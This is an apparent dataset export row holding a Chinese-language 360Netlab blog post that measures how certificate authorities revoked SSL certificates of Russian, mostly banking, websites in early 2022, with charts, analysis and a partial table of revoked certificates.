type
stringclasses 1
value | custom_template
null | created_at
stringlengths 24
24
| id
stringlengths 24
24
| slug
stringlengths 2
124
| featured
int64 0
1
| updated_at
stringlengths 24
24
| visibility
stringclasses 1
value | status
stringclasses 2
values | feature_image
stringclasses 7
values | published_at
stringlengths 24
24
⌀ | title
stringlengths 2
127
| html
stringlengths 4
358k
⌀ | plaintext
stringlengths 1
82.3k
⌀ | mobiledoc
stringlengths 99
369k
| comment_id
stringlengths 1
24
|
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
post | null | 2022-03-13T03:41:23.000Z | 63873b9a8b1c1e0007f5300f | review-revoke-russia-ssl-certificates | 0 | 2022-04-02T11:53:13.000Z | public | published | null | 2022-04-02T10:42:19.000Z | 俄乌危机中的数字证书:吊销、影响、缓解 | <!--kg-card-begin: markdown--><h2 id="">背景</h2>
<p>当前这场始于2021的俄乌危机已经注定载入史册,不仅因为危机中的冲突会对传统政治地缘产生深远影响,也因为这些冲突历史性的全面蔓延到网络空间。我们(360Netlab)从独立采集到的数据出发,观察分析并呈现冲突中各利益相关方采取的行动和反制行动,希望有利于安全社区思考自身在网络空间中的定位、态度和行动。</p>
<p>本文中的观察分析基于网络资产的SSL证书数据库CertDB,它是360Netlab 运营的网络空间基础数据之一,它采集了几乎全部活跃的网络空间中的网站证书。证书是整个现代webPKI系统的最核心的部分之一。如果说DNS数据标识了网络资产的地址,那么证书就是网络资产的身份证。丢失或者没有证书数据,就没有办法证明“我”就是“我”。因此作为互联网安全运营的基础数据,重要性不言而喻。</p>
<blockquote>
<p>360Netlab同时运营着的网络空间基础数据库包括描述域名注册的WhoisDB、域名解析的PassiveDNS、网站页面的WebDB等等。这些基础数据库的条目以十亿或千亿为单位计,共同构成了用以描述全球网络空间变迁的DNSMon系统。<br>
在CertDB的支持下,我们有足够坚实的数据基础来解读本次俄乌危机中俄罗斯网络空间中网站证书的变化情况。</p>
</blockquote>
<p>3月初,乌克兰政府向互联网域名管理机构ICANN书面请求将俄罗斯相关顶级域名“.ru”, “.рф” 和“.su”从互联网撤销[1],但ICANN并没有认同这份请求[2]。近日,我们注意到俄罗斯相关的一些国家基础设施网站的证书被证书机构陆续吊销。本文利用DNSMon的证书数据库,从数据角度来更准确的衡量这个现象在实际数据中的表现。</p>
<h2 id="">数据筛选</h2>
<p>我们从DNSMon系统中筛选了如下条件的证书:<br>
1. 在最近3个月活跃的<br>
2. 非Let's Encrypt签发的<br>
3. 证书主体国家是俄罗斯或者证书主体的CommonName的域名以.RU或者.SU[3]结尾<br>
4. 非自签名或者其他不被认为是安全的证书<br>
通过以上方法,共计得到336,330个证书。</p>
<blockquote>
<p>证书以及以上证书筛选条件的说明:</p>
<ul>
<li>如果证书超过3个月没有活跃,我们认为这些证书所承载的网站的业务已经停止或者极度小,证书即使被吊销的影响有限。</li>
<li>Let's Encrypt签发的免费证书是现在证书数据的绝对大头。不过因为Let's Encrypt签发的是DV证书,并没有提供OV或者EV证书[5](关于证书级别本文后续有简要解释,读者也可自行搜索),所以重要机构和用户目前不会使用Let's Encrypt签发的证书。</li>
</ul>
</blockquote>
<h2 id="">数据分析</h2>
<h3 id="">基本数据</h3>
<p>在 336,330个证书中:<br>
签发的国家(证书数据中签发者的国家信息)有近30个,从下图可以看出主要集中在美,英,奥地利,比利时和拉脱维亚,占比达到了97.6%。俄罗斯自身的证书签发机构占比只有0.2%左右:<br>
<img src="__GHOST_URL__/content/images/2022/03/----------1.png" width=860px /></p>
<p>在这些所有的证书里面,涉及到的签发的机构有50+,其中top5的签发机构签发的证书占总数的95.6%。如下图所示:<br>
<img src="__GHOST_URL__/content/images/2022/03/------------2.png" width=860px /></p>
<p>在靠前的六家签发机构中,我们考察了其上游证书提供商及所属国别:</p>
<ol>
<li>cPanel是一家美国的做web系统托管服务的公司,严格来说并不是CA厂商,不过它的证书是由comodo(已被如下排名第二的sectigo收购)签发的。</li>
<li>Sectigo是美国专门做证书服务的公司,也是使用范围最广的CA之一。它既是根证书机构,也是面向最终消费者的中间证书机构。</li>
<li>DigiCert是美国专业的证书服务公司。同Sectigo一样,也是使用范围最广的CA,既是根证书机构,也提供中间证书服务。</li>
<li>GlobalSign是比利时的专业证书服务公司,后来被日本GMO集团收购。同样既是根证书机构,也提供中间证书服务。</li>
<li>Zerossl是一家专门做SSL证书服务的位于奥地利的公司,不过其父公司被美国公司Idera收购,我们注意到该公司公告根据美国出口法规限制从2020年11月就不再给.ru的顶级域颁发证书了[11]。但从我们的数据来看,证书一直没有中断颁发,这其中尚不确定具体原因是什么。</li>
<li>GoGetSSL是一家专门做SSL证书服务的位于拉脱维亚的中间证书提供商。是DigiCert的白金合作伙伴和Sectigo的战略合作伙伴,在证书撤销方面本文后续可以看到它和Sectigo具有一致行动性。</li>
</ol>
<p>如上,如果从中间证书的上游根证书所属国别来看,俄罗斯的证书签发机构所属的国家分布就变成了下图这样,即美国独自占85%,日本占12%。俄罗斯的选择余地实在很小。<br>
<img src = "/content/images/2022/03/-----CA----.png" width=860px /></p>
<p>在这336,330个证书中,来自俄罗斯的签发机构只有如下3个并且它们都不是根证书机构,也就是说俄罗斯并没有全球公认的根CA:</p>
<table>
<thead>
<tr>
<th>name</th>
<th>upstream</th>
<th>upstrem_country</th>
<th>issued certficate number</th>
</tr>
</thead>
<tbody>
<tr>
<td>RU-Center (ЗАО Региональный Сетевой Информационный Центр)</td>
<td>The USERTRUST Network</td>
<td>US</td>
<td>530</td>
</tr>
<tr>
<td>Yandex LLC</td>
<td>Unizeto Technologies S.A.</td>
<td>PL</td>
<td>192</td>
</tr>
<tr>
<td>VTB BANK (PJSC)</td>
<td>GlobalSign</td>
<td>GB</td>
<td>27</td>
</tr>
</tbody>
</table>
<blockquote>
<p>证书相关小百科:根证书,中间证书</p>
<ul>
<li>什么是根证书机构<br>
根证书是内置在浏览器或者操作系统中的可信证书文件,是整个PKI系统可信上诉链条的顶点,是PKI系统的锚点。全世界只有数量较少的根证书颁发机构。比如在<a href="https://ccadb-public.secure.force.com/mozilla/CACertificatesInFirefoxReport">这里</a>firefox列出了其使用的跟证书列表,总共只有49个根证书机构,颁发了138个根证书。windows系统,macOS系统等也类似都有自己的根证书列表。</li>
<li>什么是中间证书机构<br>
根证书RootCA不会直接面向企业或者个人用户颁发证书。这些证书数量少,影响范围广,万一出现密钥泄漏,影响太大。所以为了保护根证书,CAs通常会颁发所谓的中间根。CA使用它的私钥对中间根签名,使它受到信任,即所谓中间CA(Intermediate CA)或者中间根。然后中间根使用中间证书的私钥签署和颁发终端用户SSL证书。这个过程可以执行多次,其中一个中间根对另一个中间根进行签名,然后CA使用该根对证书进行签名。这些链接,从根到中间到叶子,都是证书链。上面提到的俄罗斯的3个证书签发机构都是中间根。<br>
值得提的一点是中间证书机构尽管可以签发证书,不过其在运营策略上会受控于上游RootCA。</li>
</ul>
</blockquote>
<h3 id="">吊销数据</h3>
<p>通过对整体数据进行分析,我们发现:</p>
<ol>
<li>
<p>目前有265个证书被吊销,其中2022年吊销了228个。</p>
</li>
<li>
<p>从吊销时间上来看,主要集中在2022年的0228~0307这个段时间,这段时间共吊销了172个证书,占总数的64.9%。<br>
<img src = "/content/images/2022/03/-----------.png" width=860px /></p>
</li>
<li>
<p>我们查看了对应证书吊销列表文件(CRL)中对吊销证书的吊销原因,发现绝大部分(95%)都没有明确的原因。</p>
</li>
<li>
<p>从证书级别上来看,这次撤销的证书整体比较高,EV,OV的证书占比达到了84%。<br>
<img src = "/content/images/2022/03/------.png" width=860px /></p>
</li>
</ol>
<blockquote>
<p>证书相关小百科:证书级别</p>
<ul>
<li>目前主流的证书验证级别分为三种,分别是Domain Validated(DV), Organization Validation(OV)和Extended Validation(EV):
<ul>
<li>DV验证是身份验证最少的SSL证书,即使是恶意程序也可以快速的轻松获取。这类证书主要用在个人网站,自媒体以及不包含个人敏感数据的网站。</li>
<li>OV证书需要验证企业身份信息后颁发。OV SSL证书是当前最常见的证书类型,适用于行政、企业、科研、邮箱、论坛等各类大中型网站。</li>
<li>EV顶级SSL证书,又称扩展验证型SSL证书。安全级别最高,验证审核最严格,网站部署EV SSL证书后,浏览器地址栏将变成绿色并显示企业名称。EV SSL证书一般应用于金融、银行、电商等安全需求较高的网站。</li>
</ul>
</li>
</ul>
</blockquote>
<ol start="5">
<li>
<p>这些被吊销的证书CA集中在少数几个CA上,总结情况如下:<br>
<img src = "/content/images/2022/03/--RU---CA.png" width=860px /><br>
这其中排名前4的分别是:Digicert,GlobalSign nv-sa,GoGetSSL和Sectigo。<br>
DigiCert撤销了126个(占DigiCert签发的俄罗斯的证书总数的0.5%),占总撤销总数的47.54%,更是占了2022年之后撤销总数的55.26%左右。</p>
</li>
<li>
<p>我们将DigiCert,Globalsign nv-sa,GoGetSSL和Sectigo以及其他的涉及的CA拆分开,统计了其在小时级时间粒度上撤销证书的数量,见下图。<img src = "/content/images/2022/03/------------CA-----.png" width=860px /><br>
从图上看,在2022-02-28之前,每个CA吊销的证书数量还比较平稳,但从2.28 18:00之后,先是Globalsign nv-sa开始吊销了18个证书,接下来从21:00开始持续到3.1, DigiCert开始了其大量的吊销,最高达到每小时38个,接下来是GoGetSSL和Sectigo后两者在时间上有一致性。<br>
我们进一步拨开这些数据看一下,发现Globalsign nv-sa撤销的证书和其他三家CA有着显著的不同。</p>
</li>
</ol>
<ul>
<li>
<p>首先是证书的域名不同。Globalsign的撤销的证书的域名是新注册的域名,并且子域名有着相似的特征(都包含有owa,audodiscovery,mail,www等子域),可能是某些特定业务的域名。而其他三家撤销的则是老域名(域名列表见本文后面)。<br>
<img src = "/content/images/2022/03/globalsign_revoke_domains.jpg" width=860px /></p>
</li>
<li>
<p>Globalsing撤销的证书的域名通过搜索引擎搜索发现其并非特定或者关键行业的域名,其他三家撤销的证书的域名则是绝大多数都涉及到银行,保险等金融行业,还有一个证书涉及铁路行业。</p>
</li>
</ul>
<p>考虑到证书吊销在时间上的集中性以及所属行业的特点,我们合理判断总数265个证书中的144个是因为对俄罗斯制裁所产生的。撤销涉及DigiCert,GoGetSSL和Sectigo三个证书签发机构。</p>
<ol start="7">
<li>
<p>被吊销之后域名使用的新的证书<br>
在被吊销之后,正常的业务访问会受限,比如浏览器会提示证书已经被吊销从而无法进一步访问业务。为了维持业务的正常运作,这些受影响的网站必须寻找替代的解决方案。因此我们考察了这些受影响网站是否启用了新的证书。如果启用了的话,是用的哪家,以及这个过程需要多长时间。<br>
经过我们统计之后发现受影响的俄罗斯金融机构大致有四种选择(详细信息见下表):</p>
<ul>
<li>原先有些单位本身就是中间根证书签发机构,这类单位现在使用的是自己单位签发的中间证书,其授权上游证书来自GlobalSign,因为有被浏览器承认的RootCA,所以这类证书使用起来没有问题。这类代表是俄罗斯外贸银行VTB集团。同类型的单位包括:VTB集团相关的所有域名。</li>
<li>使用Let's Encrypt签发的证书。Let's Encrypt是美国的一家免费证书提供机构,但是其不能提供OV和EV类型的证书,并且其证书的有效期也比较短。使用这类证书在某种程度上是被迫对证书安全性做了降级。这类的代表是跟保险行业较为紧密相关的sovcomins.ru,以及俄罗斯农业银行rgsbank.ru等相关的域名。</li>
<li>还有一类则从DigiCert切换到了 GlobalSign nv-sa 签发的证书。这类很好理解,弃用了DigiCert,转用了GlobalSign,业务暂时也不受影响。比如俄罗斯联邦中央银行crb.ru,以及部分rgsbank.ru的域名,open.ru的域名等.</li>
<li>还有少数金融机构比如vostbank.ru,vtbindia.com,psbinvest.ru等域名还在使用被吊销的证书,没有采取任何动作。目前访问的话,会提示证书被吊销,业务受到了影响。比如vtb印度的网站就会被chrome提示证书已经撤销,无法继续进行访问:<br>
<img src = "/content/images/2022/03/vtbindia_chrome_revoke-2.png" widht=860px /></li>
</ul>
</li>
<li>
<p>证书切换对业务的影响<br>
我们调查了这些受影响的域名在证书吊销之后启用新的证书之前,到底花了多长时间。从我们获取的数据来看,平均要花711分钟,也就是接近12个小时才能完成证书的切换。其中最快的用了109分钟(1.8小时),最慢的则用了1346分钟(22.4小时)。<br>
<img src = "/content/images/2022/03/------------.png" width=860px /></p>
</li>
</ol>
<p>同时我们也对比了新证书的级别和老证书的级别发现:</p>
<pre><code> * 53%的网站的证书出现了降级
* 45%的网站证书级别保持不变
* 2%的网站证书级别进行了提升
</code></pre>
<h4 id="">被吊销证书的列表</h4>
<p>从2022-02-28之后在2022-03-11之前吊销和俄乌危机所引发的制裁相关的证书,涉及到DigiCert,Sectigo和GoGetSSL三个证书提供商,共包含144个证书。详细的证书列表见本文最后。</p>
<h2 id="">签发机构的态度和俄罗斯的动作</h2>
<p>根据目前的消息[7], Sectigo和DigiCert已经开始限制来自俄罗斯和白俄罗斯的业务。所以如果俄罗斯没有自己的证书签发机构和对应的可信RootCA的话,并且同时面对经济制裁的情况下,通用的付费方法可能也无法进行支付。所以即使目前的证书不吊销,现有证书过期之后仍然面临无证书可用的尴尬境地。</p>
<p>为了解决这个问题,俄罗斯推出了自己的CA:www.gosuslugi.ru [8]<br>
<img src = "/content/images/2022/03/russia_own_CA.png" width=860px /></p>
<p>但即便俄罗斯做了如此举动,仍然无法绕过一个核心问题,RootCA如果需要被广泛的用户终端/基础软件缺省内置是需要经过一系列庞杂繁琐的流程。在俄罗斯被广泛制裁的前提下,这个RootCA被外界广泛承认的可能性是0。比如从浏览器的角度来说,常见的chrome,Firefox,IE,opera等不支持此根,这个根的意义形同虚设。</p>
<p>值得提的一点是 www.gosuslugi.ru 自身使用的证书仍然是来自于Sectigo的签发。</p>
<p>目前网上流传着一份据说是俄官方的名单,要求198个重点域名使用这个CA[9]。我们注意到这这个列表里面的6个域名(二级域)已经是在我们这次看到的吊销的域名里面。</p>
<h2 id="">基本结论</h2>
<p>目前来看,本文得到了如下的几个结论:</p>
<ol>
<li>受影响的网站比例并不高,被撤销的证书约为俄罗斯在用证书的0.04%左右;</li>
<li>受影响的行业主要集中在银行及金融相关的行业,可能会对相关企业的客户带来一定程度的混乱,尤其是尚未部署新证书的业务;</li>
<li>证书的主要撤销者是DigiCert,接下来是Sectigo和GoGetSSL。</li>
</ol>
<h2 id="">参考资料</h2>
<ol>
<li><a href="https://pastebin.com/DLbmYahS">https://pastebin.com/DLbmYahS</a></li>
<li><a href="https://www.icann.org/en/system/files/correspondence/marby-to-fedorov-02mar22-en.pdf">https://www.icann.org/en/system/files/correspondence/marby-to-fedorov-02mar22-en.pdf</a></li>
<li><a href="https://www.iana.org/domains/root/db/su.html">https://www.iana.org/domains/root/db/su.html</a></li>
<li><a href="https://thehackernews.com/2020/09/ssl-tls-certificate-validity-398.html">https://thehackernews.com/2020/09/ssl-tls-certificate-validity-398.html</a></li>
<li><a href="https://letsencrypt.org/docs/faq/">https://letsencrypt.org/docs/faq/</a></li>
<li><a href="https://en.wikipedia.org/wiki/Certificate_authority">https://en.wikipedia.org/wiki/Certificate_authority</a></li>
<li><a href="https://www.gogetssl.com/news/27.html">https://www.gogetssl.com/news/27.html</a></li>
<li><a href="https://www.gosuslugi.ru/tls">https://www.gosuslugi.ru/tls</a></li>
<li><a href="https://www.documentcloud.org/documents/21408455-tls_list2?responsive=1&title=1">https://www.documentcloud.org/documents/21408455-tls_list2?responsive=1&title=1</a></li>
<li><a href="https://www.bleepingcomputer.com/news/security/russia-creates-its-own-tls-certificate-authority-to-bypass-sanctions/">https://www.bleepingcomputer.com/news/security/russia-creates-its-own-tls-certificate-authority-to-bypass-sanctions/</a></li>
<li><a href="https://help.zerossl.com/hc/en-us/articles/360060119833-Restricted-Countries">https://help.zerossl.com/hc/en-us/articles/360060119833-Restricted-Countries</a></li>
</ol>
<h2 id="">证书吊销列表</h2>
<table>
<thead>
<tr>
<th>revoke_time</th>
<th>subject_CommonName</th>
<th>sha1</th>
<th>issuer_O</th>
<th>industry</th>
<th>new_cert_issuer</th>
<th>new_cert_issuer_time</th>
<th>gap_time</th>
</tr>
</thead>
<tbody>
<tr>
<td>2022-02-28 21:17:23</td>
<td>ibank.mmbank.ru</td>
<td>0e2574eee86f03bad8737975c8e8c6b0cb4d86bf</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-01 13:07:02</td>
<td>949.6</td>
</tr>
<tr>
<td>2022-02-28 21:17:43</td>
<td>*.bvb.by</td>
<td>747347ce6f5206d4abe44984beb222faf621fc5b</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>revoke_state</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-02-28 22:02:32</td>
<td>3dsp.vtb.ru</td>
<td>1ff80de2b0a83fadca20512c77625a38862a1701</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-01 08:46:09</td>
<td>643.6</td>
</tr>
<tr>
<td>2022-02-28 22:06:28</td>
<td>3dsp2.vtb.ru</td>
<td>95af9277b6ed216dc0734cd1e2c79253dc158c18</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-01 08:46:15</td>
<td>639.8</td>
</tr>
<tr>
<td>2022-02-28 22:06:38</td>
<td>*.vtbf.ru</td>
<td>11aa6e2bf223fcc4aa83ef40fc40c563d89fca1a</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-09 08:22:51</td>
<td>616.2</td>
</tr>
<tr>
<td>2022-02-28 22:08:33</td>
<td>*.customscard.ru</td>
<td>db4a27987a5cedfcbf4cd78144a74e2980061d00</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>Let's Encrypt</td>
<td>2022-03-01 07:56:57</td>
<td>588.4</td>
</tr>
<tr>
<td>2022-02-28 22:10:57</td>
<td>online.customscard.ru</td>
<td>82aa023ce89f3ea2406e3721dc77ecc829445537</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>ZeroSSL</td>
<td>2022-03-01 00:00:00</td>
<td>109.0</td>
</tr>
<tr>
<td>2022-02-28 22:55:15</td>
<td>*.cbr.ru</td>
<td>23280fa352673271c377dec3041dee535095eb19</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-01 10:16:07</td>
<td>680.9</td>
</tr>
<tr>
<td>2022-02-28 22:55:30</td>
<td>*.cbr.ru</td>
<td>7aafcfc6c359f1184b686a2f57d5100f7280ede5</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-01 10:16:07</td>
<td>680.6</td>
</tr>
<tr>
<td>2022-02-28 23:02:21</td>
<td>rgsbank.ru</td>
<td>f9756126c514426771c1ee2280fcc670659d158d</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>Let's Encrypt</td>
<td>2022-03-10 11:37:45</td>
<td>755.4</td>
</tr>
<tr>
<td>2022-02-28 23:08:44</td>
<td>open.ru</td>
<td>c2b40abb6e79744796d65887cc782f3e6aa4310b</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-04 14:37:19</td>
<td>928.6</td>
</tr>
<tr>
<td>2022-03-01 00:12:35</td>
<td>smtp1.open.ru</td>
<td>905ee42c2722e5e1659e8896f656e52b2e62e622</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-04 14:37:19</td>
<td>928.6</td>
</tr>
<tr>
<td>2022-03-01 00:13:34</td>
<td>mc.vtb.ru</td>
<td>bde9131020e014bbd71d7048ba2fe2ea1c7d060d</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-01 11:56:07</td>
<td>702.5</td>
</tr>
<tr>
<td>2022-03-01 00:13:39</td>
<td>ipoteka.vtb.ru</td>
<td>37f4bc7254c469b0e8d3698aa299bc346bd9d567</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-01 10:01:08</td>
<td>587.5</td>
</tr>
<tr>
<td>2022-03-01 00:13:49</td>
<td>*.vtb.ru</td>
<td>29ffe2f41fc0cdbac7addaf74f27804734f00662</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-01 10:01:08</td>
<td>587.5</td>
</tr>
<tr>
<td>2022-03-01 00:14:47</td>
<td>mob.vtb.ru</td>
<td>314daea50add8da4289367b4653fccf7d0bead0f</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-01 10:01:08</td>
<td>587.5</td>
</tr>
<tr>
<td>2022-03-01 00:15:18</td>
<td>dachatbot.vtb.ru</td>
<td>393e42d01f8bf9aa5c2986fc27bf82ab731fc7fb</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-04 07:31:08</td>
<td>435.8</td>
</tr>
<tr>
<td>2022-03-01 00:16:40</td>
<td>lk.olb.ru</td>
<td>2b6186e5471cb85d0b2b446f4357576baf1f7630</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-04 07:31:08</td>
<td>435.8</td>
</tr>
<tr>
<td>2022-03-01 00:16:45</td>
<td>dbo.vtb.ru</td>
<td>9d5aa3fe0690d19de24629226f23abefdf93414b</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-01 11:51:07</td>
<td>694.4</td>
</tr>
<tr>
<td>2022-03-01 00:16:49</td>
<td>idemo.vtb.ru</td>
<td>9ef7ab4ed17786ea152f1a152e2c347c8c4abe20</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-01 11:56:14</td>
<td>699.4</td>
</tr>
<tr>
<td>2022-03-01 00:16:54</td>
<td>webquik.vtb.ru</td>
<td>4c192c7bcb57ff52993fd71bdd688e1a55880ee9</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-01 19:41:07</td>
<td>1164.2</td>
</tr>
<tr>
<td>2022-03-01 00:17:11</td>
<td>komission.vtb.ru</td>
<td>b9761633e595a6ca9eb651adb38601fc7871a753</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-01 20:41:07</td>
<td>1223.9</td>
</tr>
<tr>
<td>2022-03-01 00:17:29</td>
<td>epa.api.vtb.ru</td>
<td>a0a6c1ba28fd7d70a306cace89a15230d3a14ebf</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-01 20:41:07</td>
<td>1223.9</td>
</tr>
<tr>
<td>2022-03-01 00:17:44</td>
<td>mail.vtbstrana.ru</td>
<td>3d2b0ee0665bfeddf1ccf7194cd8968097b3d55b</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-01 15:41:15</td>
<td>923.5</td>
</tr>
<tr>
<td>2022-03-01 00:17:48</td>
<td>mail.vtb.com</td>
<td>e8d152170944f18b74e0895fb40c43e60de1b757</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-01 10:11:07</td>
<td>593.3</td>
</tr>
<tr>
<td>2022-03-01 00:17:55</td>
<td>db.vtb.ru</td>
<td>4af34f0f8ed1bb975b3ff3842131cc4a9c3331d3</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-01 11:16:07</td>
<td>658.2</td>
</tr>
<tr>
<td>2022-03-01 00:18:37</td>
<td>mx101.vtb.ru</td>
<td>5a7170b3966d23634024b31fe4b373cf435cbd1b</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-01 11:16:07</td>
<td>658.2</td>
</tr>
<tr>
<td>2022-03-01 00:18:41</td>
<td>mx102.vtb.ru</td>
<td>3df103b57e5f392c71df6f303e4777b9839596ec</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-01 11:16:07</td>
<td>658.2</td>
</tr>
<tr>
<td>2022-03-01 00:18:46</td>
<td>mx201.vtb.ru</td>
<td>4dac367f4357fc8e85a69105d9a73e716a465e7c</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-01 11:16:07</td>
<td>658.2</td>
</tr>
<tr>
<td>2022-03-01 00:18:57</td>
<td>mx202.vtb.ru</td>
<td>5144a93d057eafbcd85bc24e52ecef9235ea1f27</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-01 11:16:07</td>
<td>658.2</td>
</tr>
<tr>
<td>2022-03-01 00:19:39</td>
<td>*.vtbbo.ru</td>
<td>9ec889fb87ba7df2a5d9f670253175db3f6d1f2f</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-01 15:56:15</td>
<td>936.6</td>
</tr>
<tr>
<td>2022-03-01 00:19:55</td>
<td>vtbbo.ru</td>
<td>459c6cf187b637ddaf7315b0437adb3fc4fdf430</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-01 15:56:15</td>
<td>936.6</td>
</tr>
<tr>
<td>2022-03-01 00:23:51</td>
<td>cl.vtb.ru</td>
<td>86d51be25b4cea05a351cbd7cf99d69b21f0a540</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-01 19:26:09</td>
<td>1142.3</td>
</tr>
<tr>
<td>2022-03-01 00:24:10</td>
<td>mb-partner.bm.ru</td>
<td>b8b4490db23d10416b0d7b8bbdfd4cb00e375904</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-02 17:21:18</td>
<td>1017.1</td>
</tr>
<tr>
<td>2022-03-01 00:24:42</td>
<td>ipoteka-online.vtb.ru</td>
<td>b4968f1c438b6054603f07e0f491b36ca1d5ee37</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-01 09:56:11</td>
<td>571.5</td>
</tr>
<tr>
<td>2022-03-01 00:24:53</td>
<td>vtbrussia.ru</td>
<td>24eb584f1e1e27c86bfa12eacf9867bdd5760dff</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>revoke_state</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-01 00:25:10</td>
<td>Sbc-proxy.vtb.ru</td>
<td>0867b10049bf1e005647befb83ee1bb96e846a04</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-03 08:41:14</td>
<td>496.1</td>
</tr>
<tr>
<td>2022-03-01 00:27:40</td>
<td>bo.vtb.ru</td>
<td>d40c4b34b82519deb6ca811ecd4eea02ddedf8e5</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-01 10:41:08</td>
<td>613.5</td>
</tr>
<tr>
<td>2022-03-01 00:28:04</td>
<td>vb.vtb.ru</td>
<td>7a3df1ce19a88f71741a5f176ded585fe9efa688</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-03 20:06:07</td>
<td>1178.0</td>
</tr>
<tr>
<td>2022-03-01 00:28:14</td>
<td>data-fusion.ru</td>
<td>b571526a75cc3141abd0e928e8df358914326071</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>Mulit_certs</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-01 00:34:54</td>
<td>vtbindia.com</td>
<td>e7dfeda2ad46f54335b0da72aacc9dc9d02539f7</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>revoke_state</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-01 00:35:49</td>
<td>acquiring.vtb.ru</td>
<td>b5447f597aaf078a7cadae3b22d9a88658fa4a47</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-16 08:16:07</td>
<td>460.3</td>
</tr>
<tr>
<td>2022-03-01 00:36:06</td>
<td>www.vtb.com</td>
<td>5573f1f57aedf665e6c3da73f702e8b81a8d160c</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-16 08:16:07</td>
<td>460.3</td>
</tr>
<tr>
<td>2022-03-01 00:36:21</td>
<td>lk.vtb.ru</td>
<td>58295cf4e89be3be322474dc0028d129d94617aa</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-16 08:16:07</td>
<td>460.3</td>
</tr>
<tr>
<td>2022-03-01 00:36:27</td>
<td>crm.vtb.ru</td>
<td>0f88adf4ab1b3599d3b60e4cc3887a44bf3078a8</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>revoke_state</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-01 00:36:52</td>
<td>mobi1.vtb24.ru</td>
<td>c2ac9dc39ea9e9c7fa276a02b379995301751f9b</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-01 20:46:07</td>
<td>1209.2</td>
</tr>
<tr>
